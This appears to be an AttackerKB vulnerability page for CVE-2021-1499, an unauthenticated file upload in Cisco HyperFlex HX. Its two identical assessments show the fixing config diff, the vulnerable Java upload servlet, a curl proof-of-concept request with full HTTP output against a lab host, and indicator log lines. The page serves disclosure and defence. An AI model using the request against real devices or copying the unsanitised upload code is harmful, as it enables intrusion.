Lucene search

K
attackerkbAttackerKBAKB:0921AAA5-38AA-41A4-B1FA-3B0EDA576050
HistoryMay 05, 2021 - 12:00 a.m.

CVE-2021-1499

2021-05-0500:00:00
attackerkb.com
42
cisco hyperflex hx data platform
vulnerability
unauthenticated
remote
file upload
tomcat8

EPSS

0.963

Percentile

99.5%

A vulnerability in the web-based management interface of Cisco HyperFlex HX Data Platform could allow an unauthenticated, remote attacker to upload files to an affected device. This vulnerability is due to missing authentication for the upload function. An attacker could exploit this vulnerability by sending a specific HTTP request to an affected device. A successful exploit could allow the attacker to upload files to the affected device with the permissions of the tomcat8 user.

Recent assessments:

wvu-r7 at May 18, 2021 12:23am UTC reported:

CVE-2021-1499

Arbitrary file upload (RCE implied) in the /upload endpoint.

Patch

--- unpatched/springpath.conf	2021-05-17 19:06:17.000000000 -0500
+++ patched/springpath.conf	2021-05-17 19:06:23.000000000 -0500
@@ -36,14 +36,7 @@
         include     uwsgi_params;
     }

-    location /crossdomain.xml
-    {
-        auth_basic off;
-        proxy_pass http://localhost:8000;
-        allow all; # Allow all to see content
-    }
-
-    location / {
+    location = / {
         return 301 https://$host$request_uri;
     }

@@ -80,12 +73,6 @@
    ### Max upload file size
    client_max_body_size 8000m;

-   location /upload {
-        auth_basic     off;
-        allow          all;
-        proxy_pass http://localhost:8000;
-    }
-
     # similar to storfs-support but with NO auth
     location ~ ^/(storfs-asup)
     {
@@ -188,13 +175,6 @@
         include     uwsgi_params;
     }

-    location ~ ^/(crossdomain\.xml)
-    {
-        auth_basic off;
-        proxy_pass http://localhost:8000;
-        allow all; # Allow all to see content
-    }
-
     # route all traffic that needs authentication to stMgr
     location ~ ^/(stmgr)
     {

Vulnerability

  public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.isMultipart = ServletFileUpload.isMultipartContent(request);
    response.setContentType("application/json");
    PrintWriter out = response.getWriter();
    if (!this.isMultipart) {
      out.println("{\"result\": \"Invalid content-type.\"}");
      logger.error("{\"result\": \"Invalid content-type. Must be multi-part\"}");
      response.setStatus(400);
      return;
    }
    ServletFileUpload upload = new ServletFileUpload();
    upload.setSizeMax(this.maxFileSize);
    FileOutputStream fout = null;
    InputStream stream = null;
    try {
      FileItemIterator iter = upload.getItemIterator(request);
      while (iter.hasNext()) {
        try {
          FileItemStream fi = iter.next();
          stream = fi.openStream();
          String uploadedFileName = this.dirPath + "/" + fi.getName();
          File uploadedFile = new File(uploadedFileName);
          fout = new FileOutputStream(uploadedFile);
          byte[] buffer = new byte[1024];
          int len;
          while ((len = stream.read(buffer, 0, buffer.length)) != -1)
            fout.write(buffer, 0, len);
          out.println("{\"result\": \"filename: " + uploadedFileName + "\"}");
          logger.debug("{\"result\": \"filename: " + uploadedFileName + "\"}");
        } catch (org.apache.commons.fileupload.MultipartStream.MalformedStreamException ex) {
          logger.info("MalformedStreamException during file upload servlet stream processing: " + ex);
        } finally {
          if (fout != null) {
            logger.info("Closing fout");
            fout.close();
          }
          if (stream != null) {
            logger.info("Closing stream");
            stream.close();
          }
        }
      }
    } catch (Exception ex) {
      out.println("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
      logger.error("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
      logger.error("Exception during file upload servlet stream processing: " + ex);
      response.setStatus(500);
    }
  }

PoC

wvu@kharak:~$ curl -v http://192.168.123.133/upload -F x=@/dev/null
*   Trying 192.168.123.133...
* TCP_NODELAY set
* Connected to 192.168.123.133 (192.168.123.133) port 80 (#0)
> POST /upload HTTP/1.1
> Host: 192.168.123.133
> User-Agent: curl/7.64.1
> Accept: */*
> Transfer-Encoding: chunked
> Content-Type: multipart/form-data; boundary=------------------------1b9a7fe625152b78
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* Signaling end of chunked upload via terminating chunk.
< HTTP/1.1 200 OK
< Server: nginx/1.8.1
< Date: Tue, 18 May 2021 01:10:59 GMT
< Content-Type: application/json;charset=ISO-8859-1
< Content-Length: 56
< Connection: keep-alive
< Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-NqIRKoqKg0DGa/4ZvALvdLDeCWjHxRJAGWG9bR7oqhg='; img-src 'self'; style-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; font-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; frame-src 'self'; frame-ancestors 'self'; object-src 'none'; connect-src 'self'
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
<
{"result": "filename: /var/www/localhost/images//null"}
* Connection #0 to host 192.168.123.133 left intact
* Closing connection 0
wvu@kharak:~$



[email protected]:~# ls -l /var/www/localhost/images/null
-rw-r--r-- 1 tomcat7 tomcat7 0 May 17 18:10 /var/www/localhost/images/null
[email protected]:~#

IOCs

==> /var/log/nginx/access.log <==
192.168.123.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.1" 200 81 "-" "curl/7.64.1"

==> /var/log/springpath/stBootstrapGuiBackend.log <==
2021-05-18-01:10:59.568 [tomcat-http-2] DEBUG c.s.sysmgmt.service.StorvisorFileUploader.doPost():74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 [tomcat-http-2] INFO  c.s.sysmgmt.service.StorvisorFileUploader.doPost():81 - Closing fout
2021-05-18-01:10:59.568 [tomcat-http-2] INFO  c.s.sysmgmt.service.StorvisorFileUploader.doPost():85 - Closing stream

==> /var/log/tomcat7/catalina.out <==
2021-05-18-01:10:59.568 DEBUG com.storvisor.sysmgmt.service.StorvisorFileUploader:74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 INFO  com.storvisor.sysmgmt.service.StorvisorFileUploader:81 - Closing fout
2021-05-18-01:10:59.568 INFO  com.storvisor.sysmgmt.service.StorvisorFileUploader:85 - Closing stream

==> /var/log/tomcat7/localhost_access_log.2021-05-17.txt <==
127.0.0.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.0" 200 56

jheysel-r7 at July 06, 2021 2:53pm UTC reported:

CVE-2021-1499

Arbitrary file upload (RCE implied) in the /upload endpoint.

Patch

--- unpatched/springpath.conf	2021-05-17 19:06:17.000000000 -0500
+++ patched/springpath.conf	2021-05-17 19:06:23.000000000 -0500
@@ -36,14 +36,7 @@
         include     uwsgi_params;
     }

-    location /crossdomain.xml
-    {
-        auth_basic off;
-        proxy_pass http://localhost:8000;
-        allow all; # Allow all to see content
-    }
-
-    location / {
+    location = / {
         return 301 https://$host$request_uri;
     }

@@ -80,12 +73,6 @@
    ### Max upload file size
    client_max_body_size 8000m;

-   location /upload {
-        auth_basic     off;
-        allow          all;
-        proxy_pass http://localhost:8000;
-    }
-
     # similar to storfs-support but with NO auth
     location ~ ^/(storfs-asup)
     {
@@ -188,13 +175,6 @@
         include     uwsgi_params;
     }

-    location ~ ^/(crossdomain\.xml)
-    {
-        auth_basic off;
-        proxy_pass http://localhost:8000;
-        allow all; # Allow all to see content
-    }
-
     # route all traffic that needs authentication to stMgr
     location ~ ^/(stmgr)
     {

Vulnerability

  public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.isMultipart = ServletFileUpload.isMultipartContent(request);
    response.setContentType("application/json");
    PrintWriter out = response.getWriter();
    if (!this.isMultipart) {
      out.println("{\"result\": \"Invalid content-type.\"}");
      logger.error("{\"result\": \"Invalid content-type. Must be multi-part\"}");
      response.setStatus(400);
      return;
    }
    ServletFileUpload upload = new ServletFileUpload();
    upload.setSizeMax(this.maxFileSize);
    FileOutputStream fout = null;
    InputStream stream = null;
    try {
      FileItemIterator iter = upload.getItemIterator(request);
      while (iter.hasNext()) {
        try {
          FileItemStream fi = iter.next();
          stream = fi.openStream();
          String uploadedFileName = this.dirPath + "/" + fi.getName();
          File uploadedFile = new File(uploadedFileName);
          fout = new FileOutputStream(uploadedFile);
          byte[] buffer = new byte[1024];
          int len;
          while ((len = stream.read(buffer, 0, buffer.length)) != -1)
            fout.write(buffer, 0, len);
          out.println("{\"result\": \"filename: " + uploadedFileName + "\"}");
          logger.debug("{\"result\": \"filename: " + uploadedFileName + "\"}");
        } catch (org.apache.commons.fileupload.MultipartStream.MalformedStreamException ex) {
          logger.info("MalformedStreamException during file upload servlet stream processing: " + ex);
        } finally {
          if (fout != null) {
            logger.info("Closing fout");
            fout.close();
          }
          if (stream != null) {
            logger.info("Closing stream");
            stream.close();
          }
        }
      }
    } catch (Exception ex) {
      out.println("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
      logger.error("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
      logger.error("Exception during file upload servlet stream processing: " + ex);
      response.setStatus(500);
    }
  }

PoC

wvu@kharak:~$ curl -v http://192.168.123.133/upload -F x=@/dev/null
*   Trying 192.168.123.133...
* TCP_NODELAY set
* Connected to 192.168.123.133 (192.168.123.133) port 80 (#0)
> POST /upload HTTP/1.1
> Host: 192.168.123.133
> User-Agent: curl/7.64.1
> Accept: */*
> Transfer-Encoding: chunked
> Content-Type: multipart/form-data; boundary=------------------------1b9a7fe625152b78
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* Signaling end of chunked upload via terminating chunk.
< HTTP/1.1 200 OK
< Server: nginx/1.8.1
< Date: Tue, 18 May 2021 01:10:59 GMT
< Content-Type: application/json;charset=ISO-8859-1
< Content-Length: 56
< Connection: keep-alive
< Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-NqIRKoqKg0DGa/4ZvALvdLDeCWjHxRJAGWG9bR7oqhg='; img-src 'self'; style-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; font-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; frame-src 'self'; frame-ancestors 'self'; object-src 'none'; connect-src 'self'
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
<
{"result": "filename: /var/www/localhost/images//null"}
* Connection #0 to host 192.168.123.133 left intact
* Closing connection 0
wvu@kharak:~$



[email protected]:~# ls -l /var/www/localhost/images/null
-rw-r--r-- 1 tomcat7 tomcat7 0 May 17 18:10 /var/www/localhost/images/null
[email protected]:~#

IOCs

==> /var/log/nginx/access.log <==
192.168.123.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.1" 200 81 "-" "curl/7.64.1"

==> /var/log/springpath/stBootstrapGuiBackend.log <==
2021-05-18-01:10:59.568 [tomcat-http-2] DEBUG c.s.sysmgmt.service.StorvisorFileUploader.doPost():74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 [tomcat-http-2] INFO  c.s.sysmgmt.service.StorvisorFileUploader.doPost():81 - Closing fout
2021-05-18-01:10:59.568 [tomcat-http-2] INFO  c.s.sysmgmt.service.StorvisorFileUploader.doPost():85 - Closing stream

==> /var/log/tomcat7/catalina.out <==
2021-05-18-01:10:59.568 DEBUG com.storvisor.sysmgmt.service.StorvisorFileUploader:74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 INFO  com.storvisor.sysmgmt.service.StorvisorFileUploader:81 - Closing fout
2021-05-18-01:10:59.568 INFO  com.storvisor.sysmgmt.service.StorvisorFileUploader:85 - Closing stream

==> /var/log/tomcat7/localhost_access_log.2021-05-17.txt <==
127.0.0.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.0" 200 56

Assessed Attacker Value: 3
Assessed Attacker Value: 3Assessed Attacker Value: 5

EPSS

0.963

Percentile

99.5%